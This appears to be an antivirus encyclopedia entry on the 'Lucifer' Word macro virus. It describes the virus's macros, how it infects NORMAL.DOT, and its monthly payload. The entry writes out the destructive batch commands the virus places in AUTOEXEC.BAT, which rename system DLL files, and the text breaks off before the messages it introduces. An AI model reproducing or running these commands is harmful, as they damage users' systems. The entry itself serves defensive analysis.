Malware Behavior and Technical Description

This is an encrypted Word macro virus. It contains three macros in documents: Close, Lucifer, AutoOpen. In NORMAL.DOT it contains six macros: AutoOpen, AutoClose, Close, ToolsMacro (stealth), FileTemplates, Lucifer.

The virus infects the global macros area (NORMAL.DOT) on opening an infected document (AutoOpen) and writes itself to documents that are closed (AutoClose).

On 15th of any month the virus copies the C:\AUTOEXEC.BAT file to C:\AUTOEXEC.LUS and writes to AUTOEXEC.BAT the commands:

@Echo Off"
CD\WINDOWS\"
Ren *.dll *.lus"
CD\WINDOWS\SYSTEM\"
Ren *.dll *.lus"
CD\"
Ren C:\AUTOEXEC.LUS C:\AOTUEXEC.BAT
It then displays the message and a BMP-picture:

On entering the Tools/Macro menu the virus displays the DialogBox:
